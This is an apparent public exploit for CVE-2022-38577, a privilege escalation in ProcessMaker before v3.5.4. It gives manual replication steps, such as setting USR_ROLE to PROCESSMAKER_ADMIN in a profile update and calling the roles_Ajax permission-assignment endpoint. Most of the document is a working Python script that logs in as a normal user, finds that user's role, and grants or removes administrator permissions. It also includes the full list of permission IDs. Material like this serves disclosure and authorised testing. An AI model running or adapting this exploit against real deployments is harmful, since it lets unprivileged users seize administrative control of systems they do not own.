# Exploit Title: ProcessMaker - User Profile Privilege Escalation # Description: ProcessMaker before v3.5.4 was discovered to contain insecure permissions in the user profile page. This vulnerability allows attackers to escalate normal users to Administrators. # Date: 20220822 # Exploit Author: Sornram Kampeera (Sornram9254) # Vendor Homepage: https://www.processmaker.com # Software Link: https://sourceforge.net/projects/processmaker/files/ProcessMaker/ # Version: ProcessMaker before v3.5.4 (Already Tested on 2.5.0, 2.5.2, 3.0 GA and 3.2.1) # Tested on: Windows 11, Debian 11 (WSL2) # CVE : CVE-2022-38577 """ Privilege Escalation replication. for 2.5.0 - 3.0 GA: 1. Log in as normal user. 2. Change "USR_ROLE" on post request form when updating profile information to "PROCESSMAKER_ADMIN". 3. Refresh page to get new role. for 3.2.1 and before: 1. Log in as normal user. 2. Get Role ID by request "/sysworkflow/en/neoclassic/roles/roles_Ajax?request=rolesList&_dc={epoch_time}" 3. Get Permission ID by request "/sysworkflow/en/neoclassic/roles/data_rolesPermissions?rUID={Role_ID}&type=show" 4. Update role to escalation privileges using POST Body request: POST /sysworkflow/en/neoclassic/roles/roles_Ajax request=assignPermissionToRoleMultiple&ROL_UID={Role_ID}&PER_UID={PERMISSION_ID} """ #!/usr/bin/python # TODO: Optimize code [requests module], and Exception Handling. # Replace the variables USERNAME, PASSWORD, and APP_URL. import requests, json, re, argparse, sys USER_AGENT = 'Mozilla/5.0' APP_URL = "http://localhost:9994" USERNAME = '__USER__' PASSWORD = '__PASS__' parser = argparse.ArgumentParser() parser.add_argument("action", type=str, help="Add or Delete role permission.", nargs="?", default=".") parser.add_argument("-a", "--add", action="store_true", help="Add role permission") parser.add_argument("-d", "--delete", action="store_true", help="Delete role permission") parser.add_argument("-l", "--list", action="store_true", help="List all roles") args = parser.parse_args() if args.add: action = "assign" elif args.delete: action = "delete" elif args.list: action = "list" print("All Permission UID") print("View more: https://wiki.processmaker.com/3.3/Roles") PERM_LIST = """ PER_UID: 00000000000000000000000000000001, PER_CODE: PM_LOGIN PER_UID: 00000000000000000000000000000002, PER_CODE: PM_SETUP PER_UID: 00000000000000000000000000000003, PER_CODE: PM_USERS PER_UID: 00000000000000000000000000000004, PER_CODE: PM_FACTORY PER_UID: 00000000000000000000000000000005, PER_CODE: PM_CASES PER_UID: 00000000000000000000000000000006, PER_CODE: PM_ALLCASES PER_UID: 00000000000000000000000000000007, PER_CODE: PM_REASSIGNCASE PER_UID: 00000000000000000000000000000008, PER_CODE: PM_REPORTS PER_UID: 00000000000000000000000000000009, PER_CODE: PM_SUPERVISOR PER_UID: 00000000000000000000000000000010, PER_CODE: PM_SETUP_ADVANCE PER_UID: 00000000000000000000000000000011, PER_CODE: PM_DASHBOARD PER_UID: 00000000000000000000000000000012, PER_CODE: PM_WEBDAV PER_UID: 00000000000000000000000000000013, PER_CODE: PM_DELETECASE PER_UID: 00000000000000000000000000000014, PER_CODE: PM_EDITPERSONALINFO PER_UID: 00000000000000000000000000000015, PER_CODE: PM_FOLDERS_VIEW PER_UID: 00000000000000000000000000000016, PER_CODE: PM_FOLDERS_ADD_FOLDER PER_UID: 00000000000000000000000000000017, PER_CODE: PM_FOLDERS_ADD_FILE PER_UID: 00000000000000000000000000000018, PER_CODE: PM_CANCELCASE PER_UID: 00000000000000000000000000000019, PER_CODE: PM_FOLDER_DELETE PER_UID: 00000000000000000000000000000020, PER_CODE: PM_SETUP_LOGO PER_UID: 00000000000000000000000000000021, PER_CODE: PM_SETUP_EMAIL PER_UID: 00000000000000000000000000000022, PER_CODE: PM_SETUP_CALENDAR PER_UID: 00000000000000000000000000000023, PER_CODE: PM_SETUP_PROCESS_CATEGORIES PER_UID: 00000000000000000000000000000024, PER_CODE: PM_SETUP_CLEAR_CACHE PER_UID: 00000000000000000000000000000025, PER_CODE: PM_SETUP_HEART_BEAT PER_UID: 00000000000000000000000000000026, PER_CODE: PM_SETUP_ENVIRONMENT PER_UID: 00000000000000000000000000000027, PER_CODE: PM_SETUP_PM_TABLES PER_UID: 00000000000000000000000000000028, PER_CODE: PM_SETUP_LOGIN PER_UID: 00000000000000000000000000000029, PER_CODE: PM_SETUP_DASHBOARDS PER_UID: 00000000000000000000000000000030, PER_CODE: PM_SETUP_LANGUAGE PER_UID: 00000000000000000000000000000031, PER_CODE: PM_SETUP_SKIN PER_UID: 00000000000000000000000000000032, PER_CODE: PM_SETUP_CASES_LIST_CACHE_BUILDER PER_UID: 00000000000000000000000000000033, PER_CODE: PM_SETUP_PLUGINS PER_UID: 00000000000000000000000000000034, PER_CODE: PM_SETUP_USERS_AUTHENTICATION_SOURCES PER_UID: 00000000000000000000000000000035, PER_CODE: PM_SETUP_LOGS PER_UID: 00000000000000000000000000000036, PER_CODE: PM_DELETE_PROCESS_CASES PER_UID: 00000000000000000000000000000037, PER_CODE: PM_EDITPERSONALINFO_CALENDAR PER_UID: 00000000000000000000000000000038, PER_CODE: PM_UNCANCELCASE PER_UID: 00000000000000000000000000000039, PER_CODE: PM_REST_API_APPLICATIONS PER_UID: 00000000000000000000000000000040, PER_CODE: PM_EDIT_USER_PROFILE_FIRST_NAME PER_UID: 00000000000000000000000000000041, PER_CODE: PM_EDIT_USER_PROFILE_LAST_NAME PER_UID: 00000000000000000000000000000042, PER_CODE: PM_EDIT_USER_PROFILE_USERNAME PER_UID: 00000000000000000000000000000043, PER_CODE: PM_EDIT_USER_PROFILE_EMAIL PER_UID: 00000000000000000000000000000044, PER_CODE: PM_EDIT_USER_PROFILE_ADDRESS PER_UID: 00000000000000000000000000000045, PER_CODE: PM_EDIT_USER_PROFILE_ZIP_CODE PER_UID: 00000000000000000000000000000046, PER_CODE: PM_EDIT_USER_PROFILE_COUNTRY PER_UID: 00000000000000000000000000000047, PER_CODE: PM_EDIT_USER_PROFILE_STATE_OR_REGION PER_UID: 00000000000000000000000000000048, PER_CODE: PM_EDIT_USER_PROFILE_LOCATION PER_UID: 00000000000000000000000000000049, PER_CODE: PM_EDIT_USER_PROFILE_PHONE PER_UID: 00000000000000000000000000000050, PER_CODE: PM_EDIT_USER_PROFILE_POSITION PER_UID: 00000000000000000000000000000051, PER_CODE: PM_EDIT_USER_PROFILE_REPLACED_BY PER_UID: 00000000000000000000000000000052, PER_CODE: PM_EDIT_USER_PROFILE_EXPIRATION_DATE PER_UID: 00000000000000000000000000000053, PER_CODE: PM_EDIT_USER_PROFILE_CALENDAR PER_UID: 00000000000000000000000000000054, PER_CODE: PM_EDIT_USER_PROFILE_STATUS PER_UID: 00000000000000000000000000000055, PER_CODE: PM_EDIT_USER_PROFILE_ROLE PER_UID: 00000000000000000000000000000056, PER_CODE: PM_EDIT_USER_PROFILE_TIME_ZONE PER_UID: 00000000000000000000000000000057, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_LANGUAGE PER_UID: 00000000000000000000000000000058, PER_CODE: PM_EDIT_USER_PROFILE_COSTS PER_UID: 00000000000000000000000000000059, PER_CODE: PM_EDIT_USER_PROFILE_PASSWORD PER_UID: 00000000000000000000000000000060, PER_CODE: PM_EDIT_USER_PROFILE_USER_MUST_CHANGE_PASSWORD_AT_NEXT_LOGON PER_UID: 00000000000000000000000000000061, PER_CODE: PM_EDIT_USER_PROFILE_PHOTO PER_UID: 00000000000000000000000000000062, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_MAIN_MENU_OPTIONS PER_UID: 00000000000000000000000000000063, PER_CODE: PM_EDIT_USER_PROFILE_DEFAULT_CASES_MENU_OPTIONS PER_UID: 00000000000000000000000000000064, PER_CODE: PM_REASSIGNCASE_SUPERVISOR""" print(PERM_LIST) sys.exit() else: print("Example Permission UID") SAMPLE_PERM_LIST = """>>> PER_UID: 00000000000000000000000000000002, PER_CODE: PM_SETUP >>> PER_UID: 00000000000000000000000000000010, PER_CODE: PM_SETUP_ADVANCE >>> PER_UID: 00000000000000000000000000000033, PER_CODE: PM_SETUP_PLUGINS python Processmaker-PoC.py --help python Processmaker-PoC.py --list python Processmaker-PoC.py --add 00000000000000000000000000000002 python Processmaker-PoC.py --delete 00000000000000000000000000000002""" print(SAMPLE_PERM_LIST) sys.exit() PERMISSION_UID = args.action loginData = "__notValidateThisFields__=[{'name':'USR_USERNAME','type':'text','label':'User','validate':'Any','required':'0'}]&" loginData += "DynaformRequiredFields=[{'name':'USR_USERNAME','type':'text','label':'User','validate':'Any','required':'0'}]&" loginData += "__DynaformName__=sysLogin&" loginData += "form[BROWSER_TIME_ZONE_OFFSET]=25200&" loginData += "form[USR_PASSWORD]=" + PASSWORD + "&" loginData += "form[USR_USERNAME]=" + USERNAME + "&" loginData += "form[USR_PASSWORD_MASK]=&" loginData += "form[USER_ENV]=workflow&" loginData += "form[USER_LANG]=en" def getResponse(rMethod, rHeaders, rUrl,rData=None): SSL_VERIFY = False if rMethod == 'GET': response = requests.get(rUrl, headers=rHeaders, verify=SSL_VERIFY, allow_redirects=True) elif rMethod == "POST": response = requests.post(rUrl, data=rData, headers=rHeaders, verify=SSL_VERIFY, allow_redirects=True) else: print("Please choose correct answer") return response getCookie = getResponse('POST', {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': USER_AGENT, 'Connection': 'close'}, APP_URL + '/sys/en/neoclassic/login/sysLogin', loginData).cookies['PHPSESSID'] if getCookie is not None: getUserID = getResponse( 'GET', {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'}, APP_URL + '/sysworkflow/en/neoclassic/users/usersInit') USER_ID = re.findall(r"USR_UID\s=\s\"(\w{32})\"", getUserID.text, re.MULTILINE)[0] getRolesName = getResponse('POST', {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie,'Content-Type' : 'application/x-www-form-urlencoded', 'Connection': 'close'}, APP_URL + '/sysworkflow/en/neoclassic/users/usersAjax', 'action=userData&USR_UID=' + USER_ID) getRolesList = getResponse( 'GET', {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'}, APP_URL + '/sysworkflow/en/neoclassic/roles/roles_Ajax?request=rolesList&_dc=') getRolesPermission = getResponse('POST', {'User-Agent': USER_AGENT, 'Accept': '*', 'Cookie': 'PHPSESSID=' + getCookie, 'Connection': 'close'}, APP_URL + '/sysworkflow/en/neoclassic/roles/data_rolesPermissions?rUID=ROLE_UID&type=show') roleUID = re.findall(r"\"ROL_UID\":\"(\w{32})\",\"ROL_PARENT\":\"\",\"ROL_SYSTEM\":\"\w{32}\",\"SYS_CODE\":\"PROCESSMAKER\",\"ROL_CODE\":\"" + json.loads(getRolesName.text)['user']['USR_ROLE'] + "\"", getRolesList.text, re.MULTILINE)[0] def actionRoleResponse(): actionRoleStatus = getResponse('POST', {'User-Agent': USER_AGENT,'Content-Type': 'application/x-www-form-urlencoded','Cookie': 'PHPSESSID=' + getCookie,'Connection': 'close'}, APP_URL + '/sysworkflow/en/neoclassic/roles/roles_Ajax', 'request=' + action + 'PermissionToRoleMultiple&ROL_UID=' + roleUID + '&PER_UID=' + PERMISSION_UID) return actionRoleStatus.status_code if actionRoleResponse() == 200: print(action.capitalize() + " role successfully.") elif actionRoleResponse() == 503: print("Role already exists.") else: print("Error!")